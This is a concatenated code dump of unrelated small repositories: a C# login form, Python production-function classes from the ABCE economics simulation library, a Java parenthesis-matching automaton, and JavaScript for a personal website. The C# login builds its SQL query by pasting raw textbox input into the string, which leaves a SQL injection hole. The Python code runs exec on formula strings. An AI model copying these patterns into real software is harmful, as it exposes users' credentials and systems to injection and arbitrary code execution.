of this software. # # Licensed under the Apache License, Version 2.0 (the "License"); you may not # use this file except in compliance with the License and quotation of the # author. You may obtain a copy of the License at # http://www.apache.org/licenses/LICENSE-2.0 # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations under # the License. """ The Firm class gives an Agent the ability to set production functions and produce. """ from __future__ import division import numpy as np from firmmultitechnologies import FirmMultiTechnologies save_err = np.seterr(invalid='ignore') class Firm(FirmMultiTechnologies): """ The firm class allows you to declare a production function for a firm. :meth:`~Firm.set_leontief`, :meth:`~abecagent.Firm.set_production_function` :meth:`~Firm.set_cobb_douglas`, :meth:`~Firm.set_production_function_fast` (FirmMultiTechnologies, allows you to declare several) With :meth:`~Firm.produce` and :meth:`~Firm.produce_use_everything` you can produce using the according production function. You have several auxiliary functions for example to predict the production. When you multiply :meth:`~Firm.predict_produce` with the price vector you get the profitability of the production. """ #TODO Example def produce_use_everything(self): """ Produces output goods from all input goods. Example:: self.produce_use_everything() """ return self.produce(self.possessions_all()) def produce(self, input_goods): """ Produces output goods given the specified amount of inputs. Transforms the Agent's goods specified in input goods according to a given production_function to output goods. Automatically changes the agent's belonging. Raises an exception, when the agent does not have sufficient resources. Args: {'input_good1': amount1, 'input_good2': amount2 ...}: dictionary containing the amount of input good used for the production. Raises: NotEnoughGoods: This is raised when the goods are insufficient. Example:: self.set_cobb_douglas_production_function('car' ..) car = {'tire': 4, 'metal': 2000, 'plastic': 40} try: self.produce(car) except NotEnoughGoods: print('today no cars') """ return FirmMultiTechnologies.produce(self, self._production_function, input_goods) def sufficient_goods(self, input_goods): """ checks whether the agent has all the goods in the vector input """ FirmMultiTechnologies.sufficient_goods(self) def set_production_function(self, formula, typ='from_formula'): """ sets the firm to use a Cobb-Douglas production function from a formula. A production function is a production process that produces the given input given input goods according to the formula to the output goods. Production_functions are than used to produce, predict_vector_produce and predict_output_produce. create_production_function_fast is faster but more complicated Args: "formula": equation or set of equations that describe the production process. (string) Several equation are separated by a ; Example:: formula = 'golf_ball = (ball) * (paint / 2); waste = 0.1 * paint' self.set_production_function(formula) self.produce({'ball' : 1, 'paint' : 2} //exponential is ** not ^ """ self._production_function = self.create_production_function(formula, typ) def set_production_function_fast(self, formula, output_goods, input_goods, typ='from_formula'): """ sets the firm to use a Cobb-Douglas production function from a formula, with given outputs A production function is a production process that produces the given input given according to the formula to the output goods. Production_functions are than used to produce, predict_vector_produce and predict_output_produce. Args: "formula": equation or set of equations that describe the production process. (string) Several equation are separated by a ; [output]: list of all output goods (left hand sides of the equations) Example:: formula = 'golf_ball = (ball) * (paint / 2); waste = 0.1 * paint' self.production_function_fast(formula, 'golf', ['waste']) self.produce(self, {'ball' : 1, 'paint' : 2} //exponential is ** not ^ """ self._production_function = self.create_production_function_fast(formula, output_goods, input_goods, typ) def set_cobb_douglas(self, output, multiplier, exponents): """ sets the firm to use a Cobb-Douglas production function. A production function is a production process that produces the given input goods according to the formula to the output good. Args: 'output': Name of the output good multiplier: Cobb-Douglas multiplier {'input1': exponent1, 'input2': exponent2 ...}: dictionary containing good names 'input' and corresponding exponents Example:: self.set_cobb_douglas('plastic', 0.000001, {'oil' : 10, 'labor' : 1}) self.produce({'oil' : 20, 'labor' : 1}) """ self._production_function = self.create_cobb_douglas(output, multiplier, exponents) def set_leontief(self, output, utilization_quantities, multiplier=1, isinteger='int'): """ sets the firm to use a Leontief production function. A production function is a production process that produces the given input given according to the formula to the output good. Warning, when you produce with a Leontief production_function all goods you put in the produce(...) function are used up. Regardless whether it is an efficient or wasteful bundle Args: 'output': Name of the output good {'input1': utilization_quantity1, 'input2': utilization_quantity2 ...}: dictionary containing good names 'input' and corresponding exponents multiplier: multiplier isinteger='int' or isinteger='': When 'int' produces only integer amounts of the good. When '', produces floating amounts. Example:: self.create_leontief('car', {'tire' : 4, 'metal' : 1000, 'plastic' : 20}, 1) two_cars = {'tire': 8, 'metal': 2000, 'plastic': 40} self.produce(two_cars) """ self._production_function = self.create_leontief(output, utilization_quantities, isinteger) def predict_produce_output_simple(self, input_goods): """ Calculates the output of a production (but does not produce) Predicts the production of produce(production_function, input_goods) see also: Predict_produce(.) as it returns a vector Args: {'input_good1': amount1, 'input_good2': amount2 ...}: dictionary containing the amount of input good used for the production. Example:: print(A.predict_output_produce(two_cars)) >>> {'car': 2} """ return self.predict_produce_output(self._production_function, input_goods) def predict_produce_simple(self, input_goods): """ Returns a vector with input (negative) and output (positive) goods Predicts the production of produce(production_function, input_goods) and the use of input goods. net_value(.) uses a price_vector (dictionary) to calculate the net value of this production. Args: {'input_good1': amount1, 'input_good2': amount2 ...}: dictionary containing the amount of input good used for the production. Example:: prices = {'car': 50000, 'tire': 100, 'metal': 10, 'plastic': 0.5} value_one_car = net_value(predict_produce(one_car), prices) value_two_cars = net_value(predict_produce(two_cars), prices) if value_one_car > value_two_cars: A.produce(one_car) else: A.produce(two_cars) """ return self.predict_produce(self._production_function, input_goods) <file_sep># Copyright 2012 <NAME> # # Module Author: <NAME> # # ABCE is open-source software. If you are using ABCE for your research you are # requested the quote the use of this software. # # Licensed under the Apache License, Version 2.0 (the "License"); you may not # use this file except in compliance with the License and quotation of the # author. You may obtain a copy of the License at # http://www.apache.org/licenses/LICENSE-2.0 # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations under # the License. """ The FirmMultiTechnologies class allows you to set up firm agents with complex or several production functions. While the simple Firm automatically handles one technology, FirmMultiTechnologies allows you to manage several technologies manually. The create_* functions allow you to create a technology and assign it to a variable. :meth:`abce.FirmMultiTechnologies.produce` and similar methods use this variable to produce with the according technology. """ from __future__ import division import compiler import pyparsing as pp from collections import defaultdict import numpy as np from abce.tools import epsilon, NotEnoughGoods save_err = np.seterr(invalid='ignore') class FirmMultiTechnologies: def produce_use_everything(self, production_function): """ Produces output goods from all input goods, used in this production_function, the agent owns. Args:: production_function: A production_function produced with py:meth:`~abceagent.FirmMultiTechnologies.create_production_function`, py:meth:`~abceagent.FirmMultiTechnologies.create_cobb_douglas` or py:meth:`~abceagent.FirmMultiTechnologies.create_leontief` Example:: self.produce_use_everything(car_production_function) """ return self.produce(production_function, dict((inp, self.possession(inp)) for inp in production_function['input'])) def produce(self, production_function, input_goods): """ Produces output goods given the specified amount of inputs. Transforms the Agent's goods specified in input goods according to a given production_function to output goods. Automatically changes the agent's belonging. Raises an exception, when the agent does not have sufficient resources. Args: production_function: A production_function produced with py:meth:`~abceagent.FirmMultiTechnologies..create_production_function`, py:meth:`~abceagent.FirmMultiTechnologies..create_cobb_douglas` or py:meth:`~abceagent.FirmMultiTechnologies..create_leontief` input goods {dictionary}: dictionary containing the amount of input good used for the production. Raises: NotEnoughGoods: This is raised when the goods are insufficient. Example:: car = {'tire': 4, 'metal': 2000, 'plastic': 40} bike = {'tire': 2, 'metal': 400, 'plastic': 20} try: self.produce(car_production_function, car) except NotEnoughGoods: A.produce(bike_production_function, bike) """ for good in production_function['input']: if self._haves[good] < input_goods[good] - epsilon: raise NotEnoughGoods(self.name, good, (input_goods[good] - self._haves[good])) for good in production_function['input']: self._haves[good] -= input_goods[good] goods_vector = dict((good, 0) for good in production_function['output']) goods_vector.update(input_goods) exec(production_function['code'], {}, goods_vector) for good in production_function['output']: self._haves[good] += goods_vector[good] return dict([(good, goods_vector[good]) for good in production_function['output']]) def create_production_function(self, formula, typ='from_formula'): """ creates a production function from formula A production function is a production process that produces the given input goods according to the formula to the output goods. Production_functions are than used as an argument in produce, predict_vector_produce and predict_output_produce. create_production_function_fast is faster but more complicated Args: "formula": equation or set of equations that describe the production process. (string) Several equation are separated by a ; Returns: A production_function that can be used in produce etc. Example: formula = 'golf_ball = (ball) * (paint / 2); waste = 0.1 * paint' self.production_function = self.create_production_function(formula) self.produce(self.production_function, {'ball' : 1, 'paint' : 2} //exponential is ** not ^ """ parse_single_output = pp.Word(pp.alphas + "_", pp.alphanums + "_") + pp.Suppress('=') + pp.Suppress(pp.Word(pp.alphanums + '*/+-().[]{} ')) parse_output = pp.delimitedList(parse_single_output, ';') parse_single_input = pp.Suppress(pp.Word(pp.alphas + "_", pp.alphanums + "_")) + pp.Suppress('=') \ + pp.OneOrMore(pp.Suppress(pp.Optional(pp.Word(pp.nums + '*/+-().[]{} '))) + pp.Word(pp.alphas + "_", pp.alphanums + "_")) parse_input = pp.delimitedList(parse_single_input, ';') production_function = {} production_function['type'] = typ production_function['formula'] = formula production_function['code'] = compiler.compile(formula, '<string>', 'exec') production_function['output'] = list(parse_output.parseString(formula)) production_function['input'] = list(parse_input.parseString(formula)) return production_function def create_production_function_fast(self, formula, output_goods, input_goods, typ='from_formula'): """ creates a production function from formula, with given outputs A production function is a production process that produces the given input goods according to the formula to the output goods. Production_functions are then used as an argument in produce, predict_vector_produce and predict_output_produce. Args: "formula": equation or set of equations that describe the production process. (string) Several equation are separated by a ; [output]: list of all output goods (left hand sides of the equations) Returns: A production_function that can be used in produce etc. Example: formula = 'golf_ball = (ball) * (paint / 2); waste = 0.1 * paint' self.production_function = self.create_production_function(formula, 'golf', ['waste', 'paint']) self.produce(self.production_function, {'ball' : 1, 'paint' : 2} //exponential is ** not ^ """ production_function = {} production_function['type'] = typ production_function['formula'] = formula production_function['code'] = compiler.compile(formula, '<string>', 'exec') production_function['output'] = output_goods production_function['input'] = input_goods return production_function def create_cobb_douglas(self, output, multiplier, exponents): """ creates a Cobb-Douglas production function A production function is a production process that produces the given input goods according to the formula to the output good. Production_functions are than used as an argument in produce, predict_vector_produce and predict_output_produce. Args: 'output': Name of the output good multiplier: Cobb-Douglas multiplier {'input1': exponent1, 'input2': exponent2 ...}: dictionary containing good names 'input' and corresponding exponents Returns: A production_function that can be used in produce etc. Example: self.plastic_production_function = self.create_cobb_douglas('plastic', {'oil' : 10, 'labor' : 1}, 0.000001) self.produce(self.plastic_production_function, {'oil' : 20, 'labor' : 1}) """ ordered_input = [input_good for input_good in exponents] formula = output + '=' + str(multiplier) + '*' + '*'.join('(%s)**%f' % (input_good, exponent) for input_good, exponent in exponents.iteritems()) optimization = '*'.join(['(%s)**%f' % ('%s', exponents[good]) for good in ordered_input]) production_function = {} production_function['type'] = 'cobb-douglas' production_function['parameters'] = exponents production_function['formula'] = formula production_function['multiplier'] = multiplier production_function['code'] = compiler.compile(formula, '<string>', 'exec') production_function['output'] = [output] production_function['input'] = ordered_input production_function['optimization'] = optimization return production_function def create_leontief(self, output, utilization_quantities, isinteger=''): """ creates a Leontief production function A production function is a production process that produces the given input goods according to the formula to the output good. Production_functions are than used as an argument in produce, predict_vector_produce and predict_output_produce. Warning, when you produce with a Leontief production_function all goods you put in the produce(...) function are used up. Regardless whether it is an efficient or wasteful bundle Args: 'output': Name of the output good utilization_quantities: a dictionary containing good names and corresponding exponents isinteger='int' or isinteger='': When 'int' produce only integer amounts of the good. When '', produces floating amounts. (default) Returns: A production_function that can be used in produce etc. Example: self.car_technology = self.create_leontief('car', {'tire' : 4, 'metal' : 1000, 'plastic' : 20}, 1) two_cars = {'tire': 8, 'metal': 2000, 'plastic': 40} self.produce(self.car_technology, two_cars) """ uqi = utilization_quantities.iteritems() ordered_input = [input_good for input_good in utilization_quantities] coefficients = ','.join('%s/%f' % (input_good, input_quantity) for input_good, input_quantity in uqi) formula = output + ' = ' + isinteger + '(min([' + coefficients + ']))' opt_coefficients = ','.join('%s/%f' % ('%s', utilization_quantities[good]) for good in ordered_input) optimization = isinteger + '(min([' + opt_coefficients + ']))' production_function = {} production_function['type'] = 'leontief' production_function['parameters'] = utilization_quantities production_function['formula'] = formula production_function['isinteger'] = isinteger production_function['code'] = compiler.compile(formula, '<string>', 'exec') production_function['output'] = [output] production_function['input'] = ordered_input production_function['optimization'] = optimization return production_function def predict_produce_output(self, production_function, input_goods): """ Predicts the output of a certain input vector and for a given production function Predicts the production of produce(production_function, input_goods) see also: Predict_produce(.) as it returns a calculatable vector Args:: production_function: A production_function produced with create_production_function, create_cobb_douglas or create_leontief {'input_good1': amount1, 'input_good2': amount2 ...}: dictionary containing the amount of input good used for the production. Returns:: A dictionary of the predicted output Example:: print(A.predict_output_produce(car_production_function, two_cars)) >>> {'car': 2} """ goods_vector = input_goods.copy() for good in production_function['output']: goods_vector[good] = None exec(production_function['code'], {}, goods_vector) output = {} for good in production_function['output']: output[good] = goods_vector[good] return output def predict_produce(self, production_function, input_goods): """ Returns a vector with input (negative) and output (positive) goods Predicts the production of produce(production_function, input_goods) and the use of input goods. net_value(.) uses a price_vector (dictionary) to calculate the net value of this production. Args: production_function: A production_function produced with create_production_function, create_cobb_douglas or create_leontief {'input_good1': amount1, 'input_good2': amount2 ...}: dictionary containing the amount of input good used for the production. Example:: prices = {'car': 50000, 'tire': 100, 'metal': 10, 'plastic': 0.5} value_one_car = net_value(predict_produce(car_production_function, one_car), prices) value_two_cars = net_value(predict_produce(car_production_function, two_cars), prices) if value_one_car > value_two_cars: A.produce(car_production_function, one_car) else: A.produce(car_production_function, two_cars) """ goods_vector = input_goods.copy() result = defaultdict(int) for good in production_function['output']: goods_vector[good] = None exec(production_function['code'], {}, goods_vector) for goods in production_function['output']: result[good] = goods_vector[good] for goods in production_function['input']: result[good] = -goods_vector[good] return result def net_value(self, goods_vector, price_vector): """ Calculates the net_value of a goods_vector given a price_vector goods_vectors are vector, where the input goods are negative and the output goods are positive. When we multiply every good with its according price we can calculate the net_value of the corresponding production. goods_vectors are produced by predict_produce(.) Args: goods_vector: a dictionary with goods and quantities e.G. {'car': 1, 'metal': -1200, 'tire': -4, 'plastic': -21} price_vector: a dictionary with goods and prices (see example) Example:: prices = {'car': 50000, 'tire': 100, 'metal': 10, 'plastic': 0.5} value_one_car = net_value(predict_produce(car_production_function, one_car), prices) value_two_cars = net_value(predict_produce(car_production_function, two_cars), prices) if value_one_car > value_two_cars: produce(car_production_function, one_car) else: produce(car_production_function, two_cars) """ ret = 0 for good, quantity in goods_vector.items(): ret += price_vector[good] * quantity return ret def sufficient_goods(self, input_goods): """ checks whether the agent has all the goods in the vector input """ for good in input_goods: if self._haves[good] < input_goods[good] - epsilon: raise NotEnoughGoods(self.name, good, input_goods[good] - self._haves[good]) <file_sep>from __future__ import division from buy import Buy #from quote_buy import QuoteBuy from sell import Sell from give import Give # tests give and messaging from logger import LoggerTest from endowment import Endowment from abce import * for parameters in read_parameters('simulation_parameters.csv'): s = Simulation(parameters) action_list = [ repeat([ ('all', 'one'), ('all', 'two'), ('all', 'three'), ('all', 'clean_up') ], 1000), ('endowment', 'Iconsume'), ('all', 'all_tests_completed') ] s.add_action_list(action_list) s.build_agents(Buy, 2) #s.build_agents(QuoteBuy, 2) s.build_agents(Sell, 2) s.build_agents(Give, 2) # tests give and messaging s.build_agents(Endowment, 2) # tests declare_round_endowment and declare_perishable s.build_agents(LoggerTest, 1) s.declare_round_endowment(resource='labor_endowment', productivity=5, product='labor') s.declare_round_endowment(resource='cow', productivity=10, product='milk') s.declare_perishable(good='labor') # s.panel_data('Firm', command='buy_log') s.run()
1946edab5e79425ad4437235315acb26362f203a
[ "Python", "R", "reStructuredText" ]
28
Python
jefferychenPKU/abce
898e4a46e99257bbb1f31d1c40b3ecbd9b0ae17e
cf66a400428a81415e04d787eb955161baf01465
refs/heads/master
<repo_name>nima-abdpoor/NazarieProject<file_sep>/src/com/company/InputReader.java package com.company; public class InputReader { private String input; private String inputInProgress; public InputReader(String input) { this.input = input; this.input+="$" ; } public String GetInputSymbol() { StringBuilder sb = new StringBuilder(input); input=sb.substring(1,sb.length()); inputInProgress = sb.substring(0,1); return inputInProgress; } } <file_sep>/src/com/company/FirstInput.java package com.company; import java.util.Scanner; public class FirstInput { private String[] State = new String[]{"q1", "q2", "qf"}; int a = 0; enum possibility {a, b, ab, lambda} possibility possibility; private int state; private String input; private String symbol; Stack stack; public FirstInput() { GetInput(); } private String GetInput() { stack = new Stack(); Scanner scann = new Scanner(System.in); input = scann.next(); return input; } public boolean commit(int n) throws IndexOutOfBoundsException { possibility = possibility.ab; String result =getinput(input,n); InputReader inputReader = new InputReader(result); System.out.println(result); for (int i = 0; i < result.length() + 1; ++i) { symbol = inputReader.GetInputSymbol(); switch (symbol) { case "a": if (possibility.equals(possibility.ab)) { stack.Push("1"); setState(0); } else return false; break; case "b": possibility = possibility.b; if (stack.Pop().equals("1") && possibility.equals(possibility.b)) { setState(1); } break; case "$": if (stack.Pop().equals("$")) { setState(2); } break; } } if ( getState() == 2) { return true; } else return false; } public String Reason() { switch (stack.size()) { case 0: return "accepted"; case -1: return "cause it closes the parantes but doesnt open it"; default: return "cause it opens " + stack.size() + " more parantes but doesnt close it"; } } private void ShowState() { System.out.println(State[getState()]); } public int getState() { return state; } public void setState(int state) { this.state = state; ShowState(); } private String getinput(String input, int n) { if (n == 1) { StringBuilder result = new StringBuilder(); for (int i = 0; i < input.length(); ++i) { if (input.charAt(i) == '(') { result.append("a"); } else if (input.charAt(i) == ')') { result.append("b"); } } return result.toString(); } else if (n == 0) { return input; } return null; } } <file_sep>/src/com/company/Main.java package com.company; import java.util.Scanner; public class Main { public static void main(String[] args) { System.out.println("Hi ... \nfor 'a' and 'b' input please enter 0 and for math input enter 1"); Scanner scanner=new Scanner(System.in); FirstOne(scanner.nextInt()); } private static void FirstOne(int n) { FirstInput firstInput = new FirstInput(); try { if (firstInput.commit(n)) { System.out.println("ACCEPTED!"); } else System.out.println("REJECTED :("); } catch (IndexOutOfBoundsException ix) { System.out.println("Rejected :("); } finally { System.out.println(firstInput.Reason()); } } }
380d7306782a519004e497356ca7fd5d94351d1e
[ "Java" ]
3
Java
nima-abdpoor/NazarieProject
632c738b8dd5be06315888c36f2a4835d2c1353a
272109560bc1fd8bd277c199cd8c0f8c16eb91af
refs/heads/main
<repo_name>tomjuran/Login-C-sharp<file_sep>/Login.cs using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Windows.Forms; using System.Data.SqlClient; namespace LoginPage { public partial class Login : Form { SqlConnection Con = new SqlConnection(@"Data Source=DESKTOP-D3GS9TQ\SQLEXPRESS;Initial Catalog=LoginForm1;Integrated Security=True;Pooling=False"); public Login() { InitializeComponent(); } private void Login_Load(object sender, EventArgs e) { } private void button1_Click(object sender, EventArgs e) { Con.Open(); SqlDataAdapter sda = new SqlDataAdapter("select COUNT(*) FROM UserTable where Username = '"+usernametb.Text+"' and Password = '"+<PASSWORD>+"'", Con); DataTable dt = new DataTable(); sda.Fill(dt); if (dt.Rows[0][0].ToString() == "1") { this.Hide(); new HomeForm().Show(); } else MessageBox.Show("Invalid Username or Password"); Con.Close(); } } } <file_sep>/README.md # Login-C-sharp Simple C# Login
8865ac3c8a13b3c85d1e9c2a55967fdc237ca225
[ "Markdown", "C#" ]
2
C#
tomjuran/Login-C-sharp
b89adf3ab472c84627f42e2c01ff96f626aa7fcd
4fe725958130f104a417513867dfe307c4e1ef99
refs/heads/master
<repo_name>NicolasAndruzzi/NightOwlNico<file_sep>/README.md #Personal Website http://NightOwlNico.com <file_sep>/public/javascripts/controllers/theScoreBoar.js app.controller("theScoreBoarController", function($scope){ console.log("theScoreBoar Controller Firing"); }); <file_sep>/public/javascripts/controllers/main.js app.controller("mainController", function($scope, $http, $filter){ console.log("---------------------------------------"); console.log("███╗ ██╗██╗ ██████╗ ██╗ ██╗████████╗"); console.log("████╗ ██║██║██╔════╝ ██║ ██║╚══██╔══╝"); console.log("██╔██╗ ██║██║██║ ███╗███████║ ██║"); console.log("██║╚██╗██║██║██║ ██║██╔══██║ ██║"); console.log("██║ ╚████║██║╚██████╔╝██║ ██║ ██║"); console.log("╚═╝ ╚═══╝╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝"); console.log(""); console.log(" ██████╗ ██╗ ██╗██╗"); console.log("██╔═══██╗██║ ██║██║"); console.log("██║ ██║██║ █╗ ██║██║"); console.log("██║ ██║██║███╗██║██║"); console.log("╚██████╔╝╚███╔███╔╝███████╗"); console.log(" ╚═════╝ ╚══╝╚══╝ ╚══════╝"); console.log(""); console.log("███╗ ██╗██╗ ██████╗ ██████╗"); console.log("████╗ ██║██║██╔════╝██╔═══██╗"); console.log("██╔██╗ ██║██║██║ ██║ ██║"); console.log("██║╚██╗██║██║██║ ██║ ██║"); console.log("██║ ╚████║██║╚██████╗╚██████╔╝"); console.log("╚═╝ ╚═══╝╚═╝ ╚═════╝ ╚═════╝"); console.log("---------------------------------------"); // Immediately Hide the Navbar & Slogan $('#mainHeader').hide(); $('#heroSloganContainer').hide(); // $('#sec01').hide(); // $('#sec02').hide(); // $('#sec03').hide(); // $('#footer').hide(); // Moon Hover $(heroMoon).hover( function() { $( this ).addClass("heroMoonHover"); $( heroOwlFaceInLogo ).addClass("heroOwlFaceInLogoHover"); }, function() { $( this ).removeClass("heroMoonHover"); $( heroOwlFaceInLogo ).removeClass("heroOwlFaceInLogoHover"); } ); $(heroOwlFaceInLogo).hover( function() { $( this ).addClass("heroOwlFaceInLogoHover"); $( heroMoon ).addClass("heroMoonHover"); }, function() { $( this ).removeClass("heroOwlFaceInLogoHover"); $( heroMoon ).removeClass("heroMoonHover"); } ); // Moon Tunes var playing = false; $('#player')[0].volume = .33; $(heroMoon).click(function() { if (playing == false) { (player).play(); $( "#heroMoon" ).addClass( "moonTuneAnimation" ); $( "#heroOwlFaceInLogo" ).addClass( "owlFaceTuneAnimation" ); $( ".logoLetter" ).addClass( "logoLetterTuneAnimation" ); $( ".L1" ).addClass( "L1d" ); $( ".L2" ).addClass( "L2d" ); $( ".L3" ).addClass( "L3d" ); $( ".L4" ).addClass( "L4d" ); $( ".L5" ).addClass( "L5d" ); $( ".L6" ).addClass( "L6d" ); $( ".L7" ).addClass( "L7d" ); $( ".L8" ).addClass( "L8d" ); $('#heroSloganContainer').fadeIn(500); playing = true; } else { (player).pause(); $( "#heroMoon" ).removeClass( "moonTuneAnimation" ); $( "#heroOwlFaceInLogo" ).removeClass( "owlFaceTuneAnimation" ); $( ".logoLetter" ).removeClass( "logoLetterTuneAnimation" ); $( ".L1" ).removeClass( "L1d" ); $( ".L2" ).removeClass( "L2d" ); $( ".L3" ).removeClass( "L3d" ); $( ".L4" ).removeClass( "L4d" ); $( ".L5" ).removeClass( "L5d" ); $( ".L6" ).removeClass( "L6d" ); $( ".L7" ).removeClass( "L7d" ); $( ".L8" ).removeClass( "L8d" ); $('#heroSloganContainer').fadeOut(500); playing = false; } }); $(heroOwlFaceInLogo).click(function() { if (playing == false) { (player).play(); $( "#heroMoon" ).addClass( "moonTuneAnimation" ); $( "#heroOwlFaceInLogo" ).addClass( "owlFaceTuneAnimation" ); $( ".logoLetter" ).addClass( "logoLetterTuneAnimation" ); $( ".L1" ).addClass( "L1d" ); $( ".L2" ).addClass( "L2d" ); $( ".L3" ).addClass( "L3d" ); $( ".L4" ).addClass( "L4d" ); $( ".L5" ).addClass( "L5d" ); $( ".L6" ).addClass( "L6d" ); $( ".L7" ).addClass( "L7d" ); $( ".L8" ).addClass( "L8d" ); $('#heroSloganContainer').fadeIn(500); playing = true; } else { (player).pause(); $( "#heroMoon" ).removeClass( "moonTuneAnimation" ); $( "#heroOwlFaceInLogo" ).removeClass( "owlFaceTuneAnimation" ); $( ".logoLetter" ).removeClass( "logoLetterTuneAnimation" ); $( ".L1" ).removeClass( "L1d" ); $( ".L2" ).removeClass( "L2d" ); $( ".L3" ).removeClass( "L3d" ); $( ".L4" ).removeClass( "L4d" ); $( ".L5" ).removeClass( "L5d" ); $( ".L6" ).removeClass( "L6d" ); $( ".L7" ).removeClass( "L7d" ); $( ".L8" ).removeClass( "L8d" ); $('#heroSloganContainer').fadeOut(500); playing = false; } }); // Hover Logo Letters $(".logoLetter").hover( function() { $( this ).addClass("logoLetterHover"); }, function() { $( this ).removeClass("logoLetterHover"); $( this ).removeClass( "logoLetterAnimate" ); } ); // Clickable Logo Letters $( ".logoLetter" ) .mouseup(function() { $( this ).removeClass( "logoLetterAnimate" ); }) .mousedown(function() { $( this ).addClass( "logoLetterAnimate" ); }); // Scroll-Down Button $(downPointerIcon).click(function () { $("html, body").animate({ scrollTop: $(window).height()*.85 }, 750); return false; }); // Revolving Things I Love // All Phrases Should Be <= 4 Syllables // Ideally Also <= 2 Words var originalLoves = [ "<NAME>", "Meditation", "Triathalons", "Technology", "Science", "Dancing", "Martial Arts", "Dog Training", "Animals", "UX-UI", "Yoga", "Robotics", "Italy", "Skydiving", "My Family", "Programming", "3D Printing", "Magic Tricks", "Art", "Reading", "Airbending", "Colorado", "Owls", "Teaching", "NYC", "Brooklyn", "Learning", "Live Comedy", "Surfing", "Snowboarding", "Singing", "Soldering", "Scuba Diving", "Inventing", "Cooking", "My Friends", "Earthbending", "Waterslides", "Clay Shooting", "Climbing Trees", "Cliff Diving", "Frisbee Golf", "The Ocean", "My Dog", "Firebending", "Driving", "Hammocks", "Penn State", "Camping", "Swimming", "Chess", "Hiking", "Exploring", "Adventuring", "Famous Quotes", "Traveling", "Waterbending", "Waterbending", "Hackathons", "Outer Space", "Movies", "Cartoons", "The Moon" // "xxxxxxxxxxxxTESTxxxxxxxxxxxx" // "", ]; var lovesLoop = setInterval(looper, 700); var i = 0; var loves = originalLoves.slice(); $('#loveRotate').text(loves[Math.floor(Math.random() * loves.length)]) function looper() { var randomValue = Math.floor(Math.random() * loves.length); var randomLove = loves[randomValue]; $('#loveRotate').text(randomLove); loves.splice(randomValue , 1); i++; if (i >= originalLoves.length) { i = 0; loves = originalLoves.slice(); } } //Contact Form //---------------------------------------------------------------------------------------------- $('.flip').click(function(){ $('.splitOwlFace').fadeOut(100); $('.cont-flip').toggleClass('flipped'); return false; }); $('.close').click(function(){ $('.splitOwlFace').fadeIn(1000); }) // $('#submitButton').click(function() { // console.log('this'); // console.log('fucking'); // console.log('works'); // $('.splitOwlFace').fadeIn(1000); // $('.cont-flip').toggleClass('flipped'); // return false; // }); $scope.email = {}; $scope.emailPackage = {}; //Will I need to initialize non-required fields in the email object in case they are left blank? (company & telephone) $scope.submitEmail = function() { // console.log("TEST"); // console.log($scope.email); //Flip div so user has feedback that his button click did something $('.cont-flip').toggleClass('flipped'); $('.splitOwlFace').fadeIn(1000); $('#frontMessage1').remove(); $('#frontMessage2').remove(); $('#frontMessage3').remove(); $('#cont-center').html( "<div id='frontMessage4'>Thanks for reaching out!</div><div id='frontMessage5'><span>Owl</span> get back to you within</div><img id='frontMessage6' src='/images/48hour.png' alt='48 Hours' />" ); // $('#cont-center').html( "<div id='frontMessage5'><i>I'll get back to you within</i></div>" ); // $('#cont-center').html( "<div id='frontMessage6'><i>48 hours</i></div>" ); //Add a timestamp property to the email object when this function is called var currentTime = Date.now(); $scope.email.senderTimestamp = $filter('date')(currentTime, 'medium'); //Pass contents of email so form can be cleared $scope.emailPackage = $scope.email; $scope.email = {}; //Request $http.post('/sendMeEmail', $scope.emailPackage) .success(function(data, status) { console.log("Sent ok"); //Re-Flip The Div //remove all text and images and buttons from that side of the div //Insert: Your email has been delivered and I will get back to you soon }) .error(function(data, status) { console.log("Error"); //Re-Flip The Div //remove all text and images and buttons from that side of the div //Insert: Sorry, your email has NOT been delivered please email me directly at <EMAIL> }) }; //---------------------------------------------------------------------------------------------- // // Mobile Navigation // $('.mobile-toggle').click(function() { // if ($('.main_header').hasClass('open-nav')) { // $('.main_header').removeClass('open-nav'); // } else { // $('.main_header').addClass('open-nav'); // } // }); // // $('.main_header li a').click(function() { // if ($('.main_header').hasClass('open-nav')) { // $('.navigation').removeClass('open-nav'); // $('.main_header').removeClass('open-nav'); // } // }); // // // Scroll-to-Top Button // $(window).scroll(function () { // if ($(this).scrollTop() > $(window).height()*.65) { // $('.scrollup').fadeIn(); // } else { // $('.scrollup').fadeOut(); // } // }); // // $('.scrollup').click(function () { // $("html, body").animate({ // scrollTop: 0 // }, 750); // return false; // }); // Navigation Click Sends to Section $('.navOption').click(function() { var navTarget = $(this).attr("data-scrollTo"); $('html, body').animate({ scrollTop: $('#' + navTarget).offset().top }, 750); }); // About Menu Click Sends to Sub-Section $('.aboutMenuOption').click(function() { var aboutTarget = $(this).attr("data-scrollTo"); $('html, body').animate({ scrollTop: $('#subAbout_' + aboutTarget).offset().top }, 750); }); // Navbar Logo Click Sends to Top $('#headerLogoContainer').click(function() { $('html, body').animate({ scrollTop: 0 }, 750); }); // Scroll Events $(window).scroll(function() { var currentPosition = $(this).scrollTop(); // Make Navigation Options Active // Also toggle navbar between dark and light depending on the Section $('section').each(function() { var top = $(this).offset().top; var bottom = top + $(this).outerHeight(); if (currentPosition >= top - $(window).height()*.075 && currentPosition <= bottom && $(this).attr('id') === "cinemagraphContainer") { $('#navigationMenu').find('.navOption').removeClass('Dactive'); $('#navigationMenu').find('.navOption').removeClass('Lactive'); $('#navigationMenu').find('.navOption').removeClass('DnotActive'); $('#navigationMenu').find('.navOption').removeClass('LnotActive'); $('#mainHeader').removeClass('LmainHeader'); $('#headerHeroLogo1').removeClass('LheaderHeroLogo1'); $('#headerHeroLogo2').removeClass('LheaderHeroLogo2'); $('#mainHeader').addClass('DmainHeader'); $('#navigationMenu').find('.navOption').addClass('DnotActive'); // $('#navigationMenu').find('#nav_' + $(this).attr('id')).addClass('Dactive'); $('#headerHeroLogo1').addClass('DheaderHeroLogo1'); $('#headerHeroLogo2').addClass('DheaderHeroLogo2'); // remove active from about sub-menu Options $('#why').removeClass('aboutSubActive'); $('#how').removeClass('aboutSubActive'); $('#what').removeClass('aboutSubActive'); } // Make Sub 